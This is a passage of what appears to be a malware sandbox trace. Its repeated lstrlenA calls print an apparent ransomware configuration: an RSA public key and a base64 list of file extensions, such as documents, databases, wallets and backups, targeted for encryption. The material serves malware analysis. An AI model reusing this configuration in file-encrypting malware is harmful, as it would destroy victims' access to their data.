AubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5j